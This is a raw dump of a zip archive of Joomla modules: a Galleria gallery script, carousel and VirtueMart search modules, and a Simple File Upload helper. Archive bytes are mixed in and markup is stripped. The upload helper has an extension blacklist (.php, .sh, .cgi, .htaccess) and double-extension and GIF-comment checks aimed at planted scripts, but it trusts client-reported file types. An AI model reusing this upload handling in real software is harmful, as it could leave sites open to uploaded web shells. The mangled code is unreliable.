+ Galleria.JURI + ') no-repeat 50% 50%' }); if ( flickr.length ) { // validate the method if ( typeof Galleria.Flickr.prototype[ flickr[0] ] !== 'function' ) { Galleria.raise( flickr[0] + ' method not found in Flickr plugin' ); return load.apply( this, args ); } // validate the argument if ( !flickr[1] ) { Galleria.raise( 'No flickr argument found' ); return load.apply( this, args ); } // apply the preloader window.setTimeout(function() { self.$( 'target' ).append( loader ); },100); // create the instance f = new Galleria.Flickr(); // apply Flickr options if ( typeof self._options.flickrOptions === 'object' ) { f.setOptions( self._options.flickrOptions ); } // call the flickr method and trigger the DATA event f[ flickr[0] ]( flickr[1], function( data ) { self._data = data; loader.remove(); self.trigger( Galleria.DATA ); f.options.complete.call(f, data); }); } else { // if flickr array not found, pass load.apply( this, args ); } }; }( jQuery ) );PKYy>\A̱9mod_avatar_slide_galleria/assets/js/galleria-1.2.9.min.jsnuW+A/** * Galleria v 1.2.9 2013-01-18 * http://galleria.io * * Licensed under the MIT license * https://raw.github.com/aino/galleria/master/LICENSE * */(function(a){var b,c=this,d=c.document,e=a(d),f=a(c),g=Array.prototype,h=1.29,i=!0,j=3e4,k=!1,l=navigator.userAgent.toLowerCase(),m=c.location.hash.replace(/#\//,""),n=function(){},o=function(){return!1},p=function(){var a=3,c=d.createElement("div"),e=c.getElementsByTagName("i");do c.innerHTML="";while(e[0]);return a>4?a:b}(),q=function(){return{html:d.documentElement,body:d.body,head:d.getElementsByTagName("head")[0],title:d.title}},r=c.parent!==c.self,s="data ready thumbnail loadstart loadfinish image play pause progress fullscreen_enter fullscreen_exit idle_enter idle_exit rescale lightbox_open lightbox_close lightbox_image",t=function(){var b=[];return a.each(s.split(" "),function(a,c){b.push(c),/_/.test(c)&&b.push(c.replace(/_/g,""))}),b}(),u=function(b){var c;return typeof b!="object"?b:(a.each(b,function(d,e){/^[a-z]+_/.test(d)&&(c="",a.each(d.split("_"),function(a,b){c+=a>0?b.substr(0,1).toUpperCase()+b.substr(1):b}),b[c]=e,delete b[d])}),b)},v=function(b){return a.inArray(b,t)>-1?Galleria[b.toUpperCase()]:b},w={youtube:{reg:/https?:\/\/(?:[a-zA_Z]{2,3}.)?(?:youtube\.com\/watch\?)((?:[\w\d\-\_\=]+&(?:amp;)?)*v(?:<[A-Z]+>)?=([0-9a-zA-Z\-\_]+))/i,embed:function(a){return"http://www.youtube.com/embed/"+a},getThumb:function(b,d,e){e=e||n,a.getJSON(c.location.protocol+"//gdata.youtube.com/feeds/api/videos/"+b+"?v=2&alt=json-in-script&callback=?",function(a){try{d(a.entry.media$group.media$thumbnail[0].url)}catch(b){e()}}).error(e)}},vimeo:{reg:/https?:\/\/(?:www\.)?(vimeo\.com)\/(?:hd#)?([0-9]+)/i,embed:function(a){return"http://player.vimeo.com/video/"+a},getThumb:function(b,c,d){d=d||n,a.getJSON("http://vimeo.com/api/v2/video/"+b+".json?callback=?",function(a){try{c(a[0].thumbnail_medium)}catch(b){d()}}).error(d)}},dailymotion:{reg:/https?:\/\/(?:www\.)?(dailymotion\.com)\/video\/([^_]+)/,embed:function(a){return"http://www.dailymotion.com/embed/video/"+a},getThumb:function(b,c,d){d=d||n,a.getJSON("https://api.dailymotion.com/video/"+b+"?fields=thumbnail_medium_url&callback=?",function(a){try{c(a.thumbnail_medium_url)}catch(b){d()}}).error(d)}}},x=function(a){var b;for(var c in w){b=a&&a.match(w[c].reg);if(b&&b.length)return{id:b[2],provider:c}}return!1},y={support:function(){var a=q().html;return!r&&(a.requestFullscreen||a.mozRequestFullScreen||a.webkitRequestFullScreen)}(),callback:n,enter:function(a,b,c){this.instance=a,this.callback=b||n,c=c||q().html,c.requestFullscreen?c.requestFullscreen():c.mozRequestFullScreen?c.mozRequestFullScreen():c.webkitRequestFullScreen&&c.webkitRequestFullScreen()},exit:function(a){this.callback=a||n,d.exitFullscreen?d.exitFullscreen():d.mozCancelFullScreen?d.mozCancelFullScreen():d.webkitCancelFullScreen&&d.webkitCancelFullScreen()},instance:null,listen:function(){if(!this.support)return;var a=function(){if(!y.instance)return;var a=y.instance._fullscreen;d.fullscreen||d.mozFullScreen||d.webkitIsFullScreen?a._enter(y.callback):a._exit(y.callback)};d.addEventListener("fullscreenchange",a,!1),d.addEventListener("mozfullscreenchange",a,!1),d.addEventListener("webkitfullscreenchange",a,!1)}},z=[],A=[],B=!1,C=!1,D=[],E=function(b){Galleria.theme=b,a.each(D,function(a,b){b._initialized||b._init.call(b)}),D=[]},F=function(){return{clearTimer:function(b){a.each(Galleria.get(),function(){this.clearTimer(b)})},addTimer:function(b){a.each(Galleria.get(),function(){this.addTimer(b)})},array:function(a){return g.slice.call(a,0)},create:function(a,b){b=b||"div";var c=d.createElement(b);return c.className=a,c},removeFromArray:function(b,c){return a.each(b,function(a,d){if(d==c)return b.splice(a,1),!1}),b},getScriptPath:function(b){b=b||a("script:last").attr("src");var c=b.split("/");return c.length==1?"":(c.pop(),c.join("/")+"/")},animate:function(){var b=function(a){var b="transition WebkitTransition MozTransition OTransition".split(" "),d;if(c.opera)return!1;for(d=0;b[d];d++)if(typeof a[b[d]]!="undefined")return b[d];return!1}((d.body||d.documentElement).style),e={MozTransition:"transitionend",OTransition:"oTransitionEnd",WebkitTransition:"webkitTransitionEnd",transition:"transitionend"}[b],f={_default:[.25,.1,.25,1],galleria:[.645,.045,.355,1],galleriaIn:[.55,.085,.68,.53],galleriaOut:[.25,.46,.45,.94],ease:[.25,0,.25,1],linear:[.25,.25,.75,.75],"ease-in":[.42,0,1,1],"ease-out":[0,0,.58,1],"ease-in-out":[.42,0,.58,1]},g=function(b,c,d){var e={};d=d||"transition",a.each("webkit moz ms o".split(" "),function(){e["-"+this+"-"+d]=c}),b.css(e)},h=function(a){g(a,"none","transition"),Galleria.WEBKIT&&Galleria.TOUCH&&(g(a,"translate3d(0,0,0)","transform"),a.data("revert")&&(a.css(a.data("revert")),a.data("revert",null)))},i,j,k,l,m,o,p;return function(d,q,r){r=a.extend({duration:400,complete:n,stop:!1},r),d=a(d);if(!r.duration){d.css(q),r.complete.call(d[0]);return}if(!b){d.animate(q,r);return}r.stop&&(d.unbind(e),h(d)),i=!1,a.each(q,function(a,b){p=d.css(a),F.parseValue(p)!=F.parseValue(b)&&(i=!0),d.css(a,p)});if(!i){c.setTimeout(function(){r.complete.call(d[0])},r.duration);return}j=[],k=r.easing in f?f[r.easing]:f._default,l=" "+r.duration+"ms"+" cubic-bezier("+k.join(",")+")",c.setTimeout(function(b,c,d,e){return function(){b.one(c,function(a){return function(){h(a),r.complete.call(a[0])}}(b));if(Galleria.WEBKIT&&Galleria.TOUCH){m={},o=[0,0,0],a.each(["left","top"],function(a,c){c in d&&(o[a]=F.parseValue(d[c])-F.parseValue(b.css(c))+"px",m[c]=d[c],delete d[c])});if(o[0]||o[1])b.data("revert",m),j.push("-webkit-transform"+e),g(b,"translate3d("+o.join(",")+")","transform")}a.each(d,function(a,b){j.push(a+e)}),g(b,j.join(",")),b.css(d)}}(d,e,q,l),2)}}(),removeAlpha:function(a){if(p<9&&a){var b=a.style,c=a.currentStyle,d=c&&c.filter||b.filter||"";/alpha/.test(d)&&(b.filter=d.replace(/alpha\([^)]*\)/i,""))}},forceStyles:function(b,c){b=a(b),b.attr("style")&&b.data("styles",b.attr("style")).removeAttr("style"),b.css(c)},revertStyles:function(){a.each(F.array(arguments),function(b,c){c=a(c),c.removeAttr("style"),c.attr("style",""),c.data("styles")&&c.attr("style",c.data("styles")).data("styles",null)})},moveOut:function(a){F.forceStyles(a,{position:"absolute",left:-1e4})},moveIn:function(){F.revertStyles.apply(F,F.array(arguments))},elem:function(b){return b instanceof a?{$:b,dom:b[0]}:{$:a(b),dom:b}},hide:function(a,b,c){c=c||n;var d=F.elem(a),e=d.$;a=d.dom,e.data("opacity")||e.data("opacity",e.css("opacity"));var f={opacity:0};if(b){var g=p<9&&a?function(){F.removeAlpha(a),a.style.visibility="hidden",c.call(a)}:c;F.animate(a,f,{duration:b,complete:g,stop:!0})}else p<9&&a?(F.removeAlpha(a),a.style.visibility="hidden"):e.css(f)},show:function(a,b,c){c=c||n;var d=F.elem(a),e=d.$;a=d.dom;var f=parseFloat(e.data("opacity"))||1,g={opacity:f};if(b){p<9&&(e.css("opacity",0),a.style.visibility="visible");var h=p<9&&a?function(){g.opacity==1&&F.removeAlpha(a),c.call(a)}:c;F.animate(a,g,{duration:b,complete:h,stop:!0})}else p<9&&g.opacity==1&&a?(F.removeAlpha(a),a.style.visibility="visible"):e.css(g)},optimizeTouch:function(){var b,c,d,e,f={},g=function(b){b.preventDefault(),f=a.extend({},b,!0)},h=function(){this.evt=f},i=function(){this.handler.call(b,this.evt)};return function(f){a(f).bind("touchend",function(f){b=f.target,e=!0;while(b.parentNode&&b!=f.currentTarget&&e)c=a(b).data("events"),d=a(b).data("fakes"),c&&"click"in c?(e=!1,f.preventDefault(),a(b).click(g).click(),c.click.pop(),a.each(c.click,h),a(b).data("fakes",c.click),delete c.click):d&&(e=!1,f.preventDefault(),a.each(d,i)),b=b.parentNode})}}(),wait:function(b){b=a.extend({until:o,success:n,error:function(){Galleria.raise("Could not complete wait function.")},timeout:3e3},b);var d=F.timestamp(),e,f,g=function(){f=F.timestamp(),e=f-d;if(b.until(e))return b.success(),!1;if(typeof b.timeout=="number"&&f>=d+b.timeout)return b.error(),!1;c.setTimeout(g,10)};c.setTimeout(g,10)},toggleQuality:function(a,b){if(p!==7&&p!==8||!a||a.nodeName.toUpperCase()!="IMG")return;typeof b=="undefined"&&(b=a.style.msInterpolationMode==="nearest-neighbor"),a.style.msInterpolationMode=b?"bicubic":"nearest-neighbor"},insertStyleTag:function(b,c){if(c&&a("#"+c).length)return;var e=d.createElement("style");c&&(e.id=c),q().head.appendChild(e);if(e.styleSheet)e.styleSheet.cssText=b;else{var f=d.createTextNode(b);e.appendChild(f)}},loadScript:function(b,c){var d=!1,e=a(" PKYy>\ k5k57mod_avatar_slide_galleria/mod_avatar_slide_galleria.xmlnuW+A Avatar Slide Galleria Nam Chung Tran 1.4.8 September 2012 JoomAvatar.com License GNU General Public License version 2 or later chungtn@joomavatar.com www.joomavatar.com Free AVATAR_SLIDE_GALLERIA_DESC mod_avatar_slide_galleria.php index.html mod_avatar_slide_galleria.xml helper.php helper.txt tmpl assets fields classes en-GB.mod_avatar_slide_galleria.ini en-GB.mod_avatar_slide_galleria.sys.ini
PKYy>\i3mod_avatar_slide_galleria/classes/avatar.helper.phpnuW+Aget('width'); } //get module height public static function getHeight($params) { return $params->get('height'); } //get module copyright public static function getCopyRight($params) { return $params->get('copyright',FALSE); } //get module class suffix public static function getClassSuffix($params) { return $params->get('moduleclass_sfx'); } } } if(class_exists('AMSlide') != true) { class AMSlide { //get count of items slide public static function getItemCount($params) { return $params->get('itemcount',7); } //get slile auto public static function getAutoPlay($params) { return $params->get('autoplay'); } //get sliding time public static function getSlideTime($params) { return $params->get('slideTime'); } //get effect of transition public static function getTransition($params) { return $params->get('transition'); } //get path of folder public static function getFolders($params) { return $params->get('folder'); } public static function getDescription($params) { return $params->get('description'); } public static function getImageLink($params) { return $params->get('imageLink'); } } } if(class_exists('AMJquery') != true) { class AMJquery { //get count of items slide public static function getJqueryVer($params) { return $params->get('jquery','latest'); } } } ?>PKYy>\2mod_avatar_slide_galleria/classes/avatar.image.phpnuW+Apath = $path; $this->numberFolder = $numberFolder; } public function setDescriptions($descriptions) { $this->descriptions = $descriptions; } public function getArrayImageLinks() { $pathRoot= JPath::clean(JPATH_ROOT.DIRECTORY_SEPARATOR.'images/'); sort($this->path); for($p = 0; $p < $this->numberFolder; $p++) { $ListImage[$p] = JFolder::files($pathRoot.$this->path[$p],$filter = '.'); sort($ListImage[$p]); } $tmpListImage = array(); for($p = 0; $p < $this->numberFolder; $p++) { $imgInFolder=0; $tmpListImage[$p] = array(); for($n = 0;$n < sizeof($ListImage[$p]); $n++) { $tmp = $ListImage[$p][$n]; $pattern = '/[^A-Za-z0-9._\\-+\s]/'; $tmpname = explode('.', $tmp); $ext = end($tmpname); if(strtolower($ext) == 'png' || strtolower($ext) == 'jpeg' || strtolower($ext) == 'jpg' || strtolower($ext) == 'gif' || strtolower($ext) == 'bmp') { if(preg_match($pattern, $tmp)); else $tmpListImage[$p][$imgInFolder++] = $ListImage[$p][$n]; } } } return $tmpListImage; } public function getArrayImageInfo($descriptons) { if($descriptons == NULL) return; else{ $tmpArrayDescription = explode('$',$descriptons); $tmpArray = array(); for($n = 0; $n < sizeof($tmpArrayDescription) ; $n++) { $tmp = explode('=>',$tmpArrayDescription[$n]); if(sizeof($tmp) >= 2) $tmpArray["$tmp[0]"] = $tmp[1]; else $tmpArray["$tmp[0]"] = NULL; } ksort($tmpArray); return $tmpArray; } } } } ?>PKYy>\,mod_avatar_slide_galleria/classes/index.htmlnuW+APKYy>\)+mod_avatar_slide_galleria/classes/.htaccessnuW+A Order allow,deny Deny from all PKYy>\Ŏ+mod_unite_hcarousel/mod_unite_hcarousel.phpnuW+Aget("sliderid"); $document = JFactory::getDocument(); $include_jquery = $params->get("include_jquery","true"); if($include_jquery == "true") $document->addScript("http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"); $loadType = $params->get("js_load_type","head"); $isJSInBody = ($loadType == "body")?true:false; $noConflictMode = ($params->get("no_conflict_mode") == "true")?true:false; HelperUniteHCar::outputSlider($sliderID,$isJSInBody,$noConflictMode); PKYy>\Yn +mod_unite_hcarousel/mod_unite_hcarousel.xmlnuW+A Unite Horizontal Carousel Unite CMS May 2012 Copyright (C) 2012 UniteCMS.net, All rights reserved. GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html support@unitecms.net http://www.unitecms.net 1.2

Unite Horizontal Carousel module. Put the carousel on any page. All the carousel configuration located in Component.

For support please turn to Unite Horizontal Carousel Support Page

ver. 1.2 ]]>
mod_unite_hcarousel.php index.html mod_unite_hcarousel.xml
PKYy>\)mod_unite_hcarousel/.htaccessnuW+A Order allow,deny Deny from all PKYy>\mod_unite_hcarousel/index.htmlnuW+APKYy>\) .htaccessnuW+A Order allow,deny Deny from all PKYy>\)mod_virtuemart_search/.htaccessnuW+A Order allow,deny Deny from all PKYy>\#o,, mod_virtuemart_search/index.htmlnuW+APKYy>\#o,,%mod_virtuemart_search/tmpl/index.htmlnuW+APKYy>\)$mod_virtuemart_search/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKYy>\ &mod_virtuemart_search/tmpl/default.phpnuW+A
'; $image = JURI::base().'components/com_virtuemart/assets/images/vmgeneral/search.png' ; if ($button) : if ($imagebutton) : $button = ''; else : $button = ''; endif; switch ($button_pos) : case 'top' : $button = $button.'
'; $output = $button.$output; break; case 'bottom' : $button = '
'.$button; $output = $output.$button; break; case 'right' : $output = $output.$button; break; case 'left' : default : $output = $button.$output; break; endswitch; endif; echo $output; ?>
'; } ?>
PKYy>\ڡ/mod_virtuemart_search/mod_virtuemart_search.phpnuW+Aget ('button', 0); $imagebutton = $params->get ('imagebutton', 0); $button_pos = $params->get ('button_pos', 'left'); $button_text = $params->get ('button_text', JText::_ ('MOD_VIRTUEMART_SEARCH_GO')); $width = intval ($params->get ('width', 20)); $maxlength = $width > 20 ? $width : 20; $text = $params->get ('text', JText::_ ('MOD_VIRTUEMART_SEARCH_TEXT_TXT')); $set_Itemid = intval ($params->get ('set_itemid', 0)); $moduleclass_sfx = $params->get ('moduleclass_sfx', ''); if ($params->get ('filter_category', 0)) { $category_id = JRequest::getInt ('virtuemart_category_id', 0); } else { $category_id = 0; } require(JModuleHelper::getLayoutPath ('mod_virtuemart_search')); ?> PKYy>\Wn/mod_virtuemart_search/mod_virtuemart_search.xmlnuW+A mod_virtuemart_search January 09 2013 The VirtueMart Development Team http://www.virtuemart.net Copyright (C) 2004-2012 Virtuemart Team. All rights reserved. http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL 2.0.18a MOD_VIRTUEMART_SEARCH_DESC mod_virtuemart_search.php index.html tmpl/default.php tmpl/index.html
PKYy>\#o,,#mod_simplefileuploadv1.3/index.htmlnuW+APKYy>\a[XJ99#mod_simplefileuploadv1.3/helper.phpnuW+Aget( 'upload_maxsize', '100000' ); $upload_filetypes = $params->get( 'upload_filetypes', '' ); $upload_fileexist = $params->get( 'upload_fileexist', '' ); $upload_email = $params->get( 'upload_email', '' ); $upload_emailmsg = $params->get( 'upload_emailmsg', '0' ); $upload_emailhtml = $params->get( 'upload_emailhtml', '1' ); $upload_unzip = $params->get( 'upload_unzip', '0' ); $upload_showerrmsg = $params->get( 'upload_showerrmsg', '1' ); $upload_showdircontent = $params->get( 'upload_showdircontent', '0' ); $upload_popshowpath = $params->get( 'upload_popshowpath', '1' ); $upload_popshowbytes = $params->get( 'upload_popshowbytes', '0' ); $upload_blacklist = $params->get( 'upload_blacklist', '.php .php3 .php4 .php5 .php6 .phtml .pl .py .jsp .asp .htm .shtml .sh .cgi .exe .bat .cmd .htaccess' ); $upload_doubleext = $params->get( 'upload_doubleext', '1' ); $upload_phpext = $params->get( 'upload_phpext', '1' ); $upload_gifcomment = $params->get( 'upload_gifcomment', '1' ); $upload_mailfrom = $params->get( 'upload_mailfrom' , 'noreply@simplefileupload.com' ); $upload_maximgwidth = $params->get( 'upload_maximgwidth', '0' ); $upload_maximgheight = $params->get( 'upload_maximgheight', '0' ); $upload_compressimg = $params->get( 'upload_compressimg', '' ); $upload_disablegdlib = $params->get( 'upload_disablegdlib', '0' ); $upload_disablegdthreshold = $params->get( 'upload_diablegdthreshold', '0' ); $upload_thumbcreate = $params->get( 'upload_thumbcreate', '0' ); $upload_thumbsize = $params->get( 'upload_thumbsize', '40x40' ); $upload_thumbname = $params->get( 'upload_thumbname', 'sfuthumb' ); $upload_debug = $params->get( 'upload_debug', '0' ); $upload_formfields = $params->get( 'upload_formfields', '' ); $upload_useformsfields = $params->get( 'upload_useformsfields', '0' ); if ($upload_useformsfields == 0) $upload_formfields = ""; $upload_formfieldsfile = $params->get( 'upload_formfieldsfile', '' ); $upload_formfieldsdiv = $params->get( 'upload_formfieldsdiv', '|' ); $upload_nohtmlencoding = $params->get( 'upload_nohtmlencoding', '0' ); $upload_replacetag = $params->get( 'upload_replacetag', '0' ); $results = ""; $fileCnt = 0; $fileErr = 0; $written = 0; $filename = ""; $fileList = ""; $fileInfo = ""; $filetypeok = true; $filetype = ""; $blacklist = explode(" ", $upload_blacklist); $formfieldsval = array(); $formfieldsemail = array(); $chkfileexist = ""; $baseurl = ""; $serverurl = ""; $protocol = ""; $protocol = "http://"; if (substr($_SERVER["HTTP_REFERER"], 0, 5) === "https") $protocol = "https://"; $folder = substr($_SERVER['SCRIPT_NAME'], 0, strrpos($_SERVER['SCRIPT_NAME'], "/")); if ($folder === "//") $folder = ""; // Check if relative path if (substr($upload_location, 0, 1) === ".") { $serverurl .= str_replace(".", $protocol.$_SERVER["HTTP_HOST"].$folder, $upload_location); // Fix Windows path... $baseurl .= str_replace("\\", "", $serverurl); } else { if ((substr($upload_location, 1, 2) === ":\\") || (substr($upload_location, 0, 1) === "/")) { // Server root path $baseurl = "file://".str_replace("\\", "/", $upload_location); } else { $serverurl = str_replace("\\", "/", $_SERVER["DOCUMENT_ROOT"]); $baseurl = str_replace("\\", "/", $upload_location); $baseurl = str_replace($serverurl, "", $baseurl); //$baseurl = dirname($_SERVER["HTTP_REFERER"])."/".$baseurl; $baseurl = $protocol.$_SERVER["HTTP_HOST"].$folder."/".$baseurl; } } //Replace space with %20 for URL $baseurl = str_replace(" ", "%20", $baseurl); // Make sure it ends with front slash if ( substr( $baseurl , strlen($baseurl) - 1) !== "/" ) { $baseurl .= "/"; } if(is_array($_FILES["uploadedfile$mid"]["name"])) { foreach($_FILES["uploadedfile$mid"]["name"] as $value) { /* Not really useful since I need type and size as well... just use $_FILES if(strlen($value) > 0) { //Check that we have a filename $filenames[] = $value; }*/ $fileCnt += 1; } } for ($cnt = 0; $cnt<$fileCnt; $cnt++) { if ((strlen($_FILES["uploadedfile$mid"]["name"][$cnt]) > 0) && ($upload_users === "true")) { // Check blacklist first foreach ($blacklist as $file) { $filename = $_FILES["uploadedfile$mid"]["name"][$cnt]; if (preg_match("/$file\$/i", $filename)) { $filetypeok = false; break; } } // Check double extension if ($upload_doubleext === "1" || $upload_phpext === "1") { $exts = explode('.', $filename); // There is more than one dot! if (count($exts) > 2) { // Any double extension blocked if ($upload_doubleext === "1") $filetypeok = false; if ($upload_phpext === "1") { // Block .php. if (strtolower($exts[count($exts)-2]) === "php") $filetypeok = false; } } else { // Check and block any .php combination if (stripos($filename, ".php") !== false) $filetypeok = false; } } if ($_FILES["uploadedfile$mid"]["error"][$cnt] > 0) { // Check if there was any error $filetypeok = false; } if ($filetypeok) { $fileList .= $_FILES["uploadedfile$mid"]["name"][$cnt] . "|"; $filetype = $_FILES["uploadedfile$mid"]["type"][$cnt]; $fileInfo .= "(" . JText::_('TYPE') . ": " . $filetype . " " . JText::_('SIZE') . ": " . $_FILES["uploadedfile$mid"]["size"][$cnt] . " " . JText::_('BYTES') . ")|"; if ($filetype === "") $filetype = "false"; if (stripos($upload_filetypes, $filetype) === false) { $filetypeok = false; } else { $filetypeok = true; } if ($upload_filetypes === "*") { $filetypeok = true; } //Check if GIF and block GIF Comment if ($upload_gifcomment === "1" && (preg_match("/.gif\$/i", $_FILES["uploadedfile$mid"]["name"][$cnt]))) { $comment = ModSimpleFileUploaderHelperv13::getGIFComment($_FILES["uploadedfile$mid"]["tmp_name"][$cnt], $upload_debug); if(stripos($comment, "getGIFComment:BLOCK") !== false) { $filetypeok = false; } if ($upload_debug == 1) $results .= $comment; } } if (($filetypeok) && ($_FILES["uploadedfile$mid"]["size"][$cnt] < $upload_maxsize)) { $errmsg = ""; $new_filename = ""; if ($_FILES["uploadedfile$mid"]["error"][$cnt] > 0) { if (($_FILES["uploadedfile$mid"]["size"][$cnt] == 0) && ($_FILES["uploadedfile$mid"]["error"][$cnt] == 2)) { $errmsg = "(".$_FILES["uploadedfile$mid"]["name"][$cnt].")".JText::sprintf('ERROR_TOO_BIG', "
[PHP Error: " . $_FILES["uploadedfile$mid"]["error"][$cnt]) . "]
"; } else { $errmsg = "(".$_FILES["uploadedfile$mid"]["name"][$cnt].")".JText::sprintf('ERROR_LABEL', $_FILES["uploadedfile$mid"]["error"][$cnt]) . "
"; } if ($upload_showerrmsg == 1) $results .= $errmsg; else $results .= JText::_('UPLOAD_FAILED'); $fileErr = 1; } else { $bytesfilesize = $_FILES["uploadedfile$mid"]["size"][$cnt]; // Check to see if GD lib functions should be skipped if ($upload_disablegdthreshold > 0) { if ($bytesfilesize >= $upload_disablegdthreshold) $upload_disablegdlib = 1; } $filesize = ModSimpleFileUploaderHelperv13::getFileSizePP($bytesfilesize); if (($upload_popshowbytes == 1) && ($bytesfilesize != $filesize)) $filesize = $filesize . " (" . $bytesfilesize . " " . JText::_('BYTES') . ")"; //$results .= "" . JText::_('FILE_OK_MSG') . "

"; $results .= "".JText::sprintf('FILE_UPLOAD_LABEL', $_FILES["uploadedfile$mid"]["name"][$cnt]) . "
"; $results .= JText::sprintf('FILE_TYPE_LABEL', $_FILES["uploadedfile$mid"]["type"][$cnt]) . "
"; $results .= JText::sprintf('FILE_SIZE_LABEL', $filesize) . "
"; #$results .= "uploaded to: " . $_FILES["uploadedfile$mid"]["tmp_name"][$cnt] . "
"; if (file_exists($upload_location . $_FILES["uploadedfile$mid"]["name"][$cnt])) { if ( $upload_fileexist === "0" ) { // FAIL $results .= "
" . JText::sprintf('FILE_EXISTS_MSG', $_FILES["uploadedfile$mid"]["name"][$cnt]) . "

" . JText::_('FILE_EXISTS_CORR'); $fileErr = 1; } /* // Don't delete until new file has been created! if ( $upload_fileexist === "1" ) { // REPLACE unlink($upload_location . $_FILES["uploadedfile$mid"]["name"][$cnt]); $results .= JText::_('FILE_EXISTS_REPLACE') . "
"; $chkfileexist = "no"; }*/ if ( $upload_fileexist === "2" || $upload_fileexist === "1" ) { // BACKUP $new_filename = $_FILES["uploadedfile$mid"]["name"][$cnt] . microtime(); rename($upload_location . $_FILES["uploadedfile$mid"]["name"][$cnt], $upload_location . $new_filename); if ($upload_fileexist === "1") $results .= JText::_('FILE_EXISTS_REPLACE') . "
"; else $results .= JText::sprintf('FILE_EXISTS_BACKUP', $new_filename) . "
"; $new_filename = $upload_location . $new_filename; $chkfileexist = "no"; } } else { $chkfileexist = "no"; } if ( $chkfileexist === "no" ) { // Resize and/or compress? $image_resize = false; $img_compressimg = 0; $img_maximgheight = 0; $img_maximgwidth = 0; // Check size of images before moving if (ModSimpleFileUploaderHelperv13::gd_get_info() && $upload_disablegdlib == 0) { if (($img = @getimagesize($_FILES["uploadedfile$mid"]["tmp_name"][$cnt])) && (((is_numeric($upload_maximgwidth) && $upload_maximgwidth > 0) || (is_numeric($upload_maximgheight) && $upload_maximgheight > 0)) || ($upload_thumbcreate == 1))) { list($width, $height, $type, $attr) = getimagesize($_FILES["uploadedfile$mid"]["tmp_name"][$cnt]); // Make sure we have a valid compression ratio if (!is_numeric($upload_compressimg) || $upload_compressimg > 100 || $upload_compressimg <= 0) $img_compressimg = 100; else $img_compressimg = $upload_compressimg; if ($upload_maximgheight == 0) $img_maximgheight = $height; else $img_maximgheight = $upload_maximgheight; if ($upload_maximgwidth == 0) $img_maximgwidth = $width; else $img_maximgwidth = $upload_maximgwidth; $ratioh = $img_maximgheight/$height; $ratiow = $img_maximgwidth/$width; $ratio = min($ratioh, $ratiow); // New dimensions $n_width = intval($ratio*$width); $n_height = intval($ratio*$height); $errmsg = ""; switch ($type) { case 1: //'image/gif' if (imagetypes() & IMG_GIF) { // not the same as IMAGETYPE $oim = imageCreateFromGIF($_FILES["uploadedfile$mid"]["tmp_name"][$cnt]) ; } else { $errmsg = "GIF ".JText::_('IMG_TYPE_FAIL')."
"; } break; case 2: //'image/jpeg' if (imagetypes() & IMG_JPG) { $oim = imageCreateFromJPEG($_FILES["uploadedfile$mid"]["tmp_name"][$cnt]) ; } else { $errmsg = "JPEG ".JText::_('IMG_TYPE_FAIL')."
"; } break; case 3: //'image/png' if (imagetypes() & IMG_PNG) { $oim = imageCreateFromPNG($_FILES["uploadedfile$mid"]["tmp_name"][$cnt]) ; $img_compressimg = round($img_compressimg / 10); // Quality is 0-9 for PNG if ($img_compressimg >= 10) $img_compressimg = 9; // If user has set quality to 100 } else { $errmsg = "PNG ".JText::_('IMG_TYPE_FAIL')."
"; } break; case 15: //'image/wbmp' if (imagetypes() & IMG_WBMP) { $oim = imageCreateFromWBMP($_FILES["uploadedfile$mid"]["tmp_name"][$cnt]) ; } else { $errmsg = "WBMP ".JText::_('IMG_TYPE_FAIL')."
"; } break; default: $errmsg = $type." ".JText::_('IMG_TYPE_FAIL')."
"; break; } if ($errmsg === "") { // If thumbnail $thumbfilename = ""; if ($upload_thumbcreate == 1) { $img_thumbsize = strtolower($upload_thumbsize); $img_thumbsize = explode("x", $img_thumbsize); if (is_array($img_thumbsize)) { if (count($img_thumbsize) == 2) { if (is_numeric($img_thumbsize[0]) && is_numeric($img_thumbsize[1])) { $ttim=imagecreatetruecolor($img_thumbsize[0],$img_thumbsize[1]); imagecopyresampled($ttim,$oim,0,0,0,0,$img_thumbsize[0],$img_thumbsize[1],$width,$height); $ext = substr(strrchr($_FILES["uploadedfile$mid"]["name"][$cnt], '.'), 1); $thumbfilename .= substr($_FILES["uploadedfile$mid"]["name"][$cnt], 0, (strlen($_FILES["uploadedfile$mid"]["name"][$cnt])-(strlen($ext) +1))) . "_" . $upload_thumbname . "." . $ext; // Make thumb as a link $results .= JText::_('IMG_THUMB_FILE') . ' '.$thumbfilename.'
'; //$results .= JText::_('IMG THUMB FILE') . " " . $thumbfilename . "
"; // Add path to thumb filename $thumbfilename = $upload_location . $thumbfilename; } } } } // Only thumbnail, no resize if ($upload_maximgheight !== 0 && $upload_maximgwidth !== 0) { $tim=imagecreatetruecolor($n_width,$n_height); imagecopyresampled($tim,$oim,0,0,0,0,$n_width,$n_height,$width,$height); } switch ($type) { case 1: // Only thumbnail, no resize if ($upload_maximgheight !== 0 && $upload_maximgwidth !== 0) imageGIF($tim, $upload_location . $_FILES["uploadedfile$mid"]["name"][$cnt]); if ($thumbfilename !== "") imageGIF($ttim, $thumbfilename); $image_resize = true; break; case 2: // Only thumbnail, no resize if ($upload_maximgheight !== 0 && $upload_maximgwidth !== 0) imageJPEG($tim, $upload_location . $_FILES["uploadedfile$mid"]["name"][$cnt], $img_compressimg); if ($thumbfilename !== "") imageJPEG($ttim, $thumbfilename); $img_compressimg = ""; $image_resize = true; break; case 3: // Only thumbnail, no resize if ($upload_maximgheight !== 0 && $upload_maximgwidth !== 0) imagePNG($tim, $upload_location . $_FILES["uploadedfile$mid"]["name"][$cnt], $img_compressimg); if ($thumbfilename !== "") imagePNG($ttim, $thumbfilename); $img_compressimg = ""; $image_resize = true; break; case 15: // Only thumbnail, no resize if ($upload_maximgheight !== 0 && $upload_maximgwidth !== 0) imageWBMP($tim, $upload_location . $_FILES["uploadedfile$mid"]["name"][$cnt]); if ($thumbfilename !== "") imageWBMP($ttim, $thumbfilename); break; $image_resize = true; default: $image_resize = false; break; } // Only thumbnail, no resize if ($upload_maximgheight !== 0 && $upload_maximgwidth !== 0) { imagedestroy($tim); if ($image_resize) $results .= JText::_('IMG_ORIG_RESIZE')."
"; else $results .= JText::_('IMG_RESIZE_FAIL')."
"; } else { $image_resize = false; } imagedestroy($oim); if ($thumbfilename !== "") imagedestroy($ttim); } else { $fileErr = 1; $results .= JText::_('FAIL_REQUEST') . "
